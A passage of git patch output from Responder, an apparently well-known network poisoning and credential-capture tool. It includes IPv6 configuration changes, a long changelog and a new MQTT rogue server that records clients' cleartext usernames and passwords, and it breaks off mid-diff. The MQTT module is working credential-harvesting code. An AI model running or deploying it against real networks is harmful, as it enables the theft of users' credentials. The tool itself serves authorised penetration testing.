d74f2b7..4db117c 100755 --- a/settings.py +++ b/settings.py @@ -52,6 +52,7 @@ class Settings: tab = l.split(':') x = {} i = 0 + xaddr = '' for byte in tab: if byte == '': byte = '0' @@ -70,7 +71,10 @@ class Settings: for f in range(x[10], x[11]+1): for g in range(x[12], x[13]+1): for h in range(x[14], x[15]+1): - ret.append('%x:%x:%x:%x:%x:%x:%x:%x' % (a, b, c, d, e, f, g, h)) + xaddr = ('%x:%x:%x:%x:%x:%x:%x:%x' % (a, b, c, d, e, f, g, h)) + xaddr = re.sub('(^|:)0{1,4}', ':', xaddr, count = 7)#Compresses expanded IPv6 address + xaddr = re.sub(':{3,7}', '::', xaddr, count = 7) + ret.append(xaddr.upper()) else: tab = l.split('.') x = {} From 6a11fe8b6ab29577071b2df7220c59682f3019e4 Mon Sep 17 00:00:00 2001 From: also-here Date: Sun, 5 Mar 2023 18:40:32 -0600 Subject: [PATCH 152/219] Updated with some IPv6 Added IPv6 options to RespondTo and DontRespondTo --- Responder.conf | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Responder.conf b/Responder.conf index c6350a4..025bab0 100755 --- a/Responder.conf +++ b/Responder.conf @@ -38,7 +38,7 @@ AnalyzeLog = Analyzer-Session.log ResponderConfigDump = Config-Responder.log ; Specific IP Addresses to respond to (default = All) -; Example: RespondTo = 10.20.1.100-150, 10.20.3.10 +; Example: RespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334 RespondTo = ; Specific NBT-NS/LLMNR names to respond to (default = All) @@ -47,7 +47,7 @@ RespondTo = RespondToName = ; Specific IP Addresses not to respond to (default = None) -; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10 +; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334 DontRespondTo = ; Specific NBT-NS/LLMNR names not to respond to (default = None) From 5ec5412fb931cdba0f63276e807e547287eb4e07 Mon Sep 17 00:00:00 2001 From: also-here Date: Sun, 5 Mar 2023 18:57:08 -0600 Subject: [PATCH 153/219] Update settings.py removed redundant upper() --- settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/settings.py b/settings.py index 4db117c..68429f1 100755 --- a/settings.py +++ b/settings.py @@ -74,7 +74,7 @@ class Settings: xaddr = ('%x:%x:%x:%x:%x:%x:%x:%x' % (a, b, c, d, e, f, g, h)) xaddr = re.sub('(^|:)0{1,4}', ':', xaddr, count = 7)#Compresses expanded IPv6 address xaddr = re.sub(':{3,7}', '::', xaddr, count = 7) - ret.append(xaddr.upper()) + ret.append(xaddr) else: tab = l.split('.') x = {} From e36fafb7830242487bd76e84fc84a5805df28ce5 Mon Sep 17 00:00:00 2001 From: also-here Date: Sun, 5 Mar 2023 19:13:25 -0600 Subject: [PATCH 154/219] Update Responder.conf added Don't Respond To instructions --- Responder.conf | 1 + 1 file changed, 1 insertion(+) diff --git a/Responder.conf b/Responder.conf index 025bab0..bae25f9 100755 --- a/Responder.conf +++ b/Responder.conf @@ -47,6 +47,7 @@ RespondTo = RespondToName = ; Specific IP Addresses not to respond to (default = None) +; Hosts with IPv4 and IPv6 addresses must have both addresses included to prevent responding. ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334 DontRespondTo = From feecf8ed0b5485e40d2c9056f2e53853d8aa4ced Mon Sep 17 00:00:00 2001 From: steven <33377370+SilverSteven@users.noreply.github.com> Date: Thu, 9 Mar 2023 10:31:01 +0800 Subject: [PATCH 155/219] append changelog to fulfill the license obligation --- CHANGELOG.md | 424 +++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 424 insertions(+) create mode 100644 CHANGELOG.md diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..99f2880 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,424 @@ +*In compliance with the [GPL-3.0](https://opensource.org/licenses/GPL-3.0) license: I declare that this version of the program contains my modifications, which can be seen through the usual "git" mechanism.* + + +2022-08 +Contributor(s): +lgandx +>Added: append .local TLD to DontRespondToNames + MDNS bug fix +>Merge pull request #199 from gblomqvist/masterFix double logging of first hash/cleartext when CaptureMultipleHashFromSameHost = On +>Modified wpad script +>fixed the RespondTo/DontRespondTo issue +>Merge pull request #210 from 0xjbb/masterAdded Quiet Mode +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2022-07 +Contributor(s): +jb +lgandx +>Minor bugs and display/logging fixes + RDP srv SSLwrapping fix +>Fixed: Warnings on python 3.10 +>Added Quiet mode +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2022-05 +Contributor(s): +lgandx +>removed -r reference from help msg. +>removed -r references +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2022-04 +Contributor(s): +Gustaf Blomqvist +>Fix double logging of first hash or cleartext +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2022-02 +Contributor(s): +Tom Aviv +Andrii Nechytailov +kitchung +lgandx +>Merge pull request #190 from kitchung/kitchung-patch-1DE-RPC server status not correct +>DE-RPC server status not correct #189Line 512 should read: +print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled)) + +Instead of: +print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled)) +>MutableMapping was moved to collections.abc +>Merge pull request #191 from Mipsters/masterMutableMapping was moved to collections.abc +>Fixed options formating in README +>Merge pull request #188 from Ne4istb/patch-1Fixed options formating in README +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2022-01 +Contributor(s): +lgandx +root +>Updated the README and Responder help flags +>Merge pull request #185 from ajkerley628/masterUpdated the README and Responder help flags +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2021-12 +Contributor(s): +lgandx +>Added IPv6 support +>Updated the Readme file with the new options and removed some old stuff +>Added date and time for each Responder session config log. +>Remove analyze mode on DNS since you need to ARP to get queries +>Removed the static certs and added automatic cert generation +>added DHCP db & updated the report script to reflect that +>Added DHCP DNS vs WPAD srv injection +>Merge pull request #136 from ghost/patch-2Correct Analyze log filename +>added support for OPT EDNS +>Added DHCP DNS vs DHCP WPAD +>Fixed the ON/OFF for poisoners when in Analyze mode. +>minor display fix. +>added the ability to provide external IP on WPAD poison via DHCP +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2021-11 +Contributor(s): +lgandx +>DHCP: Added auto WPADscript configuration with our IP instead of hardcoded NBT string +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2021-10 +Contributor(s): +lgandx +>Added DHCP server +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2021-05 +Contributor(s): +Pixis +lgandx +pixis +>minor fix +>Add ESS disabling information +>Add --lm switch for ESS downgrade +>Add ESS downgrade parameter +>Merge pull request #163 from Hackndo/masterAdd ESS downgrade parameter +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2021-04 +Contributor(s): +lgandx +>forgot to add packets.py +>Added WinRM rogue server +>Added dce-rpc module + enhancements + bug fix. +>removed addiontional RR on SRV answers +>Update README.md +>Update README.mdAdded Synacktiv as major donor. +>Added DNS SRV handling for ldap/kerberos + LDAP netlogon ping +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2021-03 +Contributor(s): +lgandx +>Removed donation banner +>minor fix +>Ported to py3 +>added a check for exec file +>made compatible py2/py3 +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2021-02 +Contributor(s): +lgandx +>added donation address and minor typo +>Added donation banner. +>added smb filetime support +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2020-12 +Contributor(s): +lgandx +>Merge pull request #145 from khiemdoan/fix-syntaxFix wrong syntax +>Merge pull request #135 from LabanSkollerDefensify/patch-1Fix typos in README +>Added SMB2 support for RunFinger and various other checks. +>Merge pull request #138 from ThePirateWhoSmellsOfSunflowers/fix_challengefix custom challenge in python3 +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2020-11 +Contributor(s): +Khiem Doan +>Fix wrong syntax +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2020-10 +Contributor(s): +ThePirateWhoSmellsOfSunflowers +>small fix +>fix custom challenge in python3 +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2020-09 +Contributor(s): +nickyb +Laban Sköllermark +lgandx +>Merge pull request #133 from NickstaDB/fix-bind-addressUse settings.Config.Bind_To as bind address. +>Fixed LLMNR/NBT-NS/Browser issue when binding to a specific interface +>Fix typos in README* Missing "is" in description of the tool +* s/an unique/a unique/ since it starts with a consonant sound +* Move a word to its correct place +>Correct Analyze log filenameThe default filename for Analyze logs is Analyzer-Session.log, not +Analyze-Session.log. +>Use settings.Config.Bind_To as bind address. +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2020-08 +Contributor(s): +lgandx +>python3.8 compability fix +>py3 bugfix +>version update +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2020-02 +Contributor(s): +lgandx +Sophie Brun +>Fix encoding issue in Python 3 +>Merge pull request #117 from sbrun/masterFix encoding issue in Python 3 +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2020-01 +Contributor(s): +lgandx +>Added py3 and py2 compatibility + many bugfix +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2019-08 +Contributor(s): +lgandx +>Added RDP rogue server +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2019-05 +Contributor(s): +lgandx +>Merge pull request #92 from Crypt0-M3lon/masterFix socket timeout on HTTP POST requests +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2019-02 +Contributor(s): +Crypt0-M3lon +>Fix socket timeout on HTTP POST requestsRemaining size should be checked at the end of the loop, the current implementation hang when POST request Content-Lenght is 0. +We want to check for Content-Length header only if we received full header. +>Merge pull request #1 from Crypt0-M3lon/Crypt0-M3lon-patch-1Fix socket timeout on HTTP POST requests +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2019-01 +Contributor(s): +Clément Notin +lgandx +>Merge pull request #89 from cnotin/patch-1Replace ParseSMB2NTLMv2Hash() by ParseSMBHash() to handle NTLMv1 and NTLMv2 +>Replace ParseSMB2NTLMv2Hash() by ParseSMBHash() to handle NTLMv1 and NTLMv2 +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2018-11 +Contributor(s): +lgandx +>removed debug string +>Merge pull request #86 from mschader/patch-1Update README.md: Fix typo +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2018-10 +Contributor(s): +Markus +>Update README.md: Fix typoFixed just a tiny typo. +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2018-08 +Contributor(s): +Clément Notin +lgandx +>Fix version number in settings.py +>Fix multi HTTP responses +>Merge pull request #83 from cnotin/patch-2Fix multi HTTP responses +>Merge pull request #80 from myst404/masterBetter handling of cleartext credentials +>Merge pull request #82 from cnotin/patch-1Fix version number in settings.py +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2018-06 +Contributor(s): +myst404 +>Better handling of cleartext credentials +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2017-11 +Contributor(s): +Lionel PRAT +lgandx +>Add ignore case on check body for html inject +>Merge pull request #67 from lprat/masterAdd ignore case on check body for html inject +>Merge pull request #51 from watersalesman/masterFixed instances of "CRTL-C" to "CTRL-C" +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2017-09 +Contributor(s): +lgandx +>Changed the complete LDAP parsing hash algo (ntlmv2 bug). +>Fixed various bugs and improved the LDAP module. +>Several Bugfix +>added support for plain auth +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2017-08 +Contributor(s): +OJ +lgandx +>Pass Challenge value to the LDAP parsing function +>Merge pull request #61 from OJ/fix-ldap-hash-parsingPass Challenge value to the LDAP parsing function +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2017-07 +Contributor(s): +lgandx +>Merge pull request #58 from megabug/mssql-browserAdd Microsoft SQL Server Browser responder +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2017-06 +Contributor(s): +Matthew Daley +>Add Microsoft SQL Server Browser responderWhen connecting to a named instance, a SQL client (at least SQL ServerNative Client) will send a request (namely a CLNT_UCAST_INST message) tothe server's SQL Server Browser service for instance connectioninformation. If it gets no response, the connection attempt fails.By adding a SQL Server Browser responder for these requests, we ensurethat connections are successfully made to the SQL Server responder forhash capture.As per the comment, this is based on the document "[MC-SQLR]: SQL ServerResolution Protocol", currently available at. +>Update README.md with new SQL Browser port usage +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2017-04 +Contributor(s): +Randy Ramos +>Fixed instances of "CRTL-C" to "CTRL-C" +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2017-03 +Contributor(s): +lgandx +>Fixed bug in FindSMB2UPTime +>Removed Paypal donation link. +>updated readme +>MultiRelay 2.0 Release +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2017-02 +Contributor(s): +skelsec +lgandx +Gifts +>Fix for RandomChallenge function. Function getrandbits can return less than 64 bits, thus decode('hex') will crash with TypeError: Odd-length string +>minor fix +>Merge pull request #25 from joshuaskorich/masteradded `ip` commands in addition to ifconfig and netstat +>SimpleSSL +>making HTTP great again +>Merge pull request #32 from Gifts/fix_randchallengeFix for RandomChallenge function. +>cleaning up comments +>Added: Hashdump, Stats report +>fixed crash: typo. +>Merge pull request #33 from skelsec/masterFixing HTTP header issue +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2017-01 +Contributor(s): +thejosko +lgandx +>Added: Random challenge for each requests (default) +>added `ip` commands in addition to ifconfig and netstat +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2016-12 +Contributor(s): +lgandx +>Added paypal button +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2016-11 +Contributor(s): +lgandx +>Added: BTC donation address +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2016-10 +Contributor(s): +Nikos Vassakis +lgandx +>Fixed wrong challenge issue +>Fixed the bind to interface issue (https://github.com/lgandx/Responder/issues/6) +>Changed to executable +>fixed bug in hash parsing. +>updated version number +>Patch for Android 4.x terminals that are missing some linux commands +>Fix values for win98 and win10 (requested here: https://github.com/lgandx/Responder/pull/7/commits/d9d34f04cddbd666865089d809eb5b3d46dd9cd4) +>Updated versions +>Minor fix +>Merge pull request #14 from nvssks/masterPatch for Android 4.x terminals that are missing some linux commands +>updated to current version. +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2016-09 +Contributor(s): +lgaffie +lgandx +>bug: removed loop, while connection handled by basehttpserver +>updated version +>Added proxy auth server + various fixes and improvements +>Added SMBv2 support enabled by default. +>minor fix +>Added support for webdav, auto credz. +>Added current date for all HTTP headers, avoiding easy detection +>removed debug info +>Added option -e, specify an external IP address to redirect poisoned traffic to. +>Config dumped independently. Responder-Session.log is now a clean file. +>Reflected recent changes. +>Removed the config dump in Responder-Session.log. New file gets created in logs, with host network config such as dns, routes, ifconfig and config dump +>minor bug fix +>Fixed colors in log files +>Firefox blacklisted on WPAD since it doesn't honors fail-over proxies. Added SO_LINGER to send RST when close() is called. +>Added new option in Responder.conf. Capture multiple hashes from the same client. Default is On. +>minor fixes +>Minor fixes +>Removed useless HTTP headers +>Minor fix +- - - - - - - - - - - - - - - - - - - - - - - - - - - + From 5c83b7c45bbe1b54922611f9032f8c5fe8932dc0 Mon Sep 17 00:00:00 2001 From: also-here Date: Tue, 14 Mar 2023 21:21:19 -0500 Subject: [PATCH 156/219] Update LLMNR.py Added a IPv6 check for the DNS address. IsOnTheSameSubnet does not currently support IPv6 which is fine as ICMP-Redirecy.py currently does not yet support IPv6 either. --- poisoners/LLMNR.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index 6021b2d..3724f51 100755 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -41,7 +41,7 @@ def IsICMPRedirectPlausible(IP): elif ip[0] == 'nameserver': dnsip.extend(ip[1:]) for x in dnsip: - if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False: + if x != "127.0.0.1" and IsIPv6IP(x) is False and IsOnTheSameSubnet(x,IP) is False: #Temp fix to ignore IPv6 DNS addresses print(color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)) print(color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)) print(color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)) From 8e12d2bcfe11cc23e35ea678b9e4979856183d0e Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 22 May 2023 20:32:45 -0300 Subject: [PATCH 157/219] Removed Patreon link --- README.md | 4 ---- 1 file changed, 4 deletions(-) diff --git a/README.md b/README.md index 7689c42..7ee2a49 100755 --- a/README.md +++ b/README.md @@ -176,10 +176,6 @@ Paypal: https://paypal.me/PythonResponder -Patreon: - -https://www.patreon.com/PythonResponder - ## Acknowledgments ## From a21b36605ce8c4c5ad214761e5da76e6aa816188 Mon Sep 17 00:00:00 2001 From: Ziga P <4499571+NullByteZero@users.noreply.github.com> Date: Mon, 5 Jun 2023 20:19:44 +0200 Subject: [PATCH 158/219] Implemented MQTT support --- Responder.conf | 1 + Responder.py | 4 + packets.py | 18 +++++ servers/MQTT.py | 205 ++++++++++++++++++++++++++++++++++++++++++++++++ settings.py | 2 + utils.py | 1 + 6 files changed, 231 insertions(+) create mode 100644 servers/MQTT.py diff --git a/Responder.conf b/Responder.conf index bae25f9..c157acf 100755 --- a/Responder.conf +++ b/Responder.conf @@ -16,6 +16,7 @@ LDAP = On DCERPC = On WINRM = On SNMP = Off +MQTT = On ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) diff --git a/Responder.py b/Responder.py index 6ef8862..2116864 100755 --- a/Responder.py +++ b/Responder.py @@ -351,6 +351,10 @@ def main(): threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,))) threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,))) + if settings.Config.MQTT_On_Off: + from servers.MQTT import MQTT + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 1883, MQTT,))) + if settings.Config.SMTP_On_Off: from servers.SMTP import ESMTP threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 25, ESMTP,))) diff --git a/packets.py b/packets.py index ecff5f7..270f7f8 100755 --- a/packets.py +++ b/packets.py @@ -800,6 +800,24 @@ class IMAPCapabilityEnd(Packet): ("CRLF", "\r\n"), ]) +##### MQTT Packets ##### +class MQTTv3v4ResponsePacket(Packet): + fields = OrderedDict([ + ("Type", "\x20"), + ("Len", "\x02"), + ("Session", "\x00"), + ("Code", "\x04"), + ]) + +class MQTTv5ResponsePacket(Packet): + fields = OrderedDict([ + ("Type", "\x20"), + ("Len", "\x03"), + ("Session", "\x00"), + ("Code", "\x86"), + ("Prop", "\x00"), + ]) + ##### POP3 Packets ##### class POPOKPacket(Packet): fields = OrderedDict([ diff --git a/servers/MQTT.py b/servers/MQTT.py new file mode 100644 index 0000000..f654664 --- /dev/null +++ b/servers/MQTT.py @@ -0,0 +1,205 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +from utils import settings, NetworkSendBufferPython2or3, SaveToDb + +if settings.Config.PY2OR3 == "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler + +from packets import MQTTv3v4ResponsePacket, MQTTv5ResponsePacket + +#Read N byte integer +def readInt(data, offset, numberOfBytes): + value = int.from_bytes(data[offset:offset+numberOfBytes], 'big') + offset += numberOfBytes + return (value, offset) + +#Read binary data +def readBinaryData(data, offset): + + #Read number of bytes + length, offset = readInt(data, offset, 2) + + #Read bytes + value = data[offset:offset+length] + offset += length + + return (value, offset) + +#Same as readBinaryData() but without reading data +def skipBinaryDataString(data, offset): + length, offset = readInt(data, offset, 2) + offset += length + return offset + +#Read UTF-8 encoded string +def readString(data, offset): + value, offset = readBinaryData(data, offset) + + return (value.decode('utf-8'), offset) + +#Read variable byte integer +#(https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901011) +def readVariableByteInteger(data, offset): + multiplier = 1 + value = 0 + while True: + encodedByte = data[offset] + offset += 1 + + value = (encodedByte & 127) * multiplier + + if (multiplier > 128 * 128 * 128): + return None + + multiplier *= 128 + + if(encodedByte & 128 == 0): + break + + return (value, offset) + +class MqttPacket: + + USERNAME_FLAG = 0x80 + PASSWORD_FLAG = 0x40 + WILL_FLAG = 0x04 + + def __init__(self, data): + self.__isValid = True + + controllPacketType, offset = readInt(data, 0, 1) + + #check if CONNECT packet type + if controllPacketType != 0x10: + self.__isValid = False + return + + #Remaining length + remainingLength, offset = readVariableByteInteger(data, offset) + + #Protocol name + protocolName, offset = readString(data, offset) + + #Check protocol name + if protocolName != "MQTT" and protocolName != "MQIsdp": + self.__isValid = False + return + + #Check protocol version + self.__protocolVersion, offset = readInt(data, offset, 1) + + #Read connect flag register + connectFlags, offset = readInt(data, offset, 1) + + #Read keep alive (skip) + offset += 2 + + #MQTTv5 implements properties + if self.__protocolVersion > 4: + + #Skip all properties + propertiesLength, offset = readVariableByteInteger(data, offset) + offset+=propertiesLength + + #Get Client ID + self.clientId, offset = readString(data, offset) + + if (self.clientId == ""): + self.clientId = "" + + #Skip Will + if (connectFlags & self.WILL_FLAG) > 0: + + #MQTT v5 implements properties + if self.__protocolVersion > 4: + willProperties, offset = readVariableByteInteger(data, offset) + + #Skip will properties + offset = skipBinaryDataString(data, offset) + offset = skipBinaryDataString(data, offset) + + #Get Username + if (connectFlags & self.USERNAME_FLAG) > 0: + self.username, offset = readString(data, offset) + else: + self.username = "" + + #Get Password + if (connectFlags & self.PASSWORD_FLAG) > 0: + self.password, offset = readString(data, offset) + else: + self.password = "" + + def isValid(self): + return self.__isValid + + def getProtocolVersion(self): + return self.__protocolVersion + + def data(self, client): + + return { + 'module': 'MQTT', + 'type': 'Cleartext', + 'client': client, + 'hostname': self.clientId, + 'user': self.username, + 'cleartext': self.password, + 'fullhash': self.username + ':' + self.password + } + +class MQTT(BaseRequestHandler): + def handle(self): + + CONTROL_PACKET_TYPE_CONNECT = 0x10 + + try: + data = self.request.recv(2048) + + #Read control packet type + controlPacketType, offset = readInt(data, 0, 1) + + #Skip non CONNECT packets + if controlPacketType != CONTROL_PACKET_TYPE_CONNECT: + return + + #Parse connect packet + packet = MqttPacket(data) + + #Skip if it contains invalid data + if not packet.isValid(): + #Return response + return + + #Send response packet + if packet.getProtocolVersion() < 5: + responsePacket = MQTTv3v4ResponsePacket() + else: + responsePacket = MQTTv5ResponsePacket() + + self.request.send(NetworkSendBufferPython2or3(responsePacket)) + + #Save to DB + SaveToDb(packet.data(self.client_address[0])) + + + except Exception: + raise + pass diff --git a/settings.py b/settings.py index 68429f1..90bacf8 100755 --- a/settings.py +++ b/settings.py @@ -125,6 +125,7 @@ class Settings: self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP')) self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP')) self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP')) + self.MQTT_On_Off = self.toBool(config.get('Responder Core', 'MQTT')) self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS')) self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP')) self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC')) @@ -207,6 +208,7 @@ class Settings: self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt') self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt') self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt') + self.MQTTLog = os.path.join(self.LogDir, 'MQTT-Clear-Text-Password-%s.txt') self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt') self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt') self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt') diff --git a/utils.py b/utils.py index 8b9175f..34e0c3f 100755 --- a/utils.py +++ b/utils.py @@ -506,6 +506,7 @@ def StartupMessage(): print(' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)) print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)) print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)) + print(' %-27s' % "MQTT server" + (enabled if settings.Config.MQTT_On_Off else disabled)) print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled)) print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled)) print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled)) From 0c80b76f5758dfae86bf4924a49b29c31e2e77f8 Mon Sep 17 00:00:00 2001 From: deltronzero Date: Mon, 12 Jun 2023 07:50:01 -0700 Subject: [PATCH 159/219] fix typo of ServerTlype --- packets.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packets.py b/packets.py index ecff5f7..76b4317 100755 --- a/packets.py +++ b/packets.py @@ -497,7 +497,7 @@ class IIS_Basic_401_Ans(Packet): class WPADScript(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 200 OK\r\n"), - ("ServerTlype", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"), ("ContentLen", "Content-Length: "), From a205b580913c8caf06ecf921c5adddcd22046146 Mon Sep 17 00:00:00 2001 From: nobbd Date: Tue, 15 Aug 2023 15:08:42 +0200 Subject: [PATCH 160/219] Update SMB.py to fix single byte comparisons in python3 --- servers/SMB.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/servers/SMB.py b/servers/SMB.py index ff90aac..8507c33 100644 --- a/servers/SMB.py +++ b/servers/SMB.py @@ -200,7 +200,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP if not data: break - if data[0] == "\x81": #session request 139 + if data[0:1] == "\x81": #session request 139 Buffer = "\x82\x00\x00\x00" try: self.request.send(Buffer) @@ -335,7 +335,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version self.request.settimeout(1) data = self.request.recv(1024) Challenge = RandomChallenge() - if data[0] == b"\x81": #session request 139 + if data[0:1] == b"\x81": #session request 139 Buffer = "\x82\x00\x00\x00" self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) From 728b100bfd842fc0c8a4193d9100f0510967c12c Mon Sep 17 00:00:00 2001 From: nobbd Date: Tue, 15 Aug 2023 15:15:23 +0200 Subject: [PATCH 161/219] Update MSSQL.py to fix bug with single byte comparisons in python3 --- servers/MSSQL.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/servers/MSSQL.py b/servers/MSSQL.py index ed2b440..ce53f12 100755 --- a/servers/MSSQL.py +++ b/servers/MSSQL.py @@ -168,9 +168,9 @@ class MSSQLBrowser(BaseRequestHandler): if data: if data[0] in b'\x02\x03': # CLNT_BCAST_EX / CLNT_UCAST_EX self.send_response(soc, "MSSQLSERVER") - elif data[0] == b'\x04': # CLNT_UCAST_INST + elif data[0:1] == b'\x04': # CLNT_UCAST_INST self.send_response(soc, data[1:].rstrip("\x00")) - elif data[0] == b'\x0F': # CLNT_UCAST_DAC + elif data[0:1] == b'\x0F': # CLNT_UCAST_DAC self.send_dac_response(soc) def send_response(self, soc, inst): From 63954a539c78c6fb779d7962a28a67d9e44179fd Mon Sep 17 00:00:00 2001 From: nobbd Date: Tue, 15 Aug 2023 15:18:55 +0200 Subject: [PATCH 162/219] Update RelayMultiCore.py to fix bug with single byte comparisons in python3 --- tools/MultiRelay/RelayMultiCore.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tools/MultiRelay/RelayMultiCore.py b/tools/MultiRelay/RelayMultiCore.py index d82856a..3c1fa2d 100644 --- a/tools/MultiRelay/RelayMultiCore.py +++ b/tools/MultiRelay/RelayMultiCore.py @@ -636,7 +636,7 @@ def MimiKatzRPC(Command, f, host, data, s): Output = ExtractRPCCommandOutput(data)[12:] while True: dataoffset = dataoffset + buffsize - if data[64:66] == b"\x05\x00" and data[67] == b"\x02":##Last DCE/RPC Frag + if data[64:66] == b"\x05\x00" and data[67:68] == b"\x02":##Last DCE/RPC Frag LastFragLen = struct.unpack(' Date: Tue, 15 Aug 2023 15:34:08 +0200 Subject: [PATCH 163/219] Update RunFinger.py to fix bug with single byte comparisons in python3 --- tools/RunFinger.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 7a9cd5f..bf9cadc 100755 --- 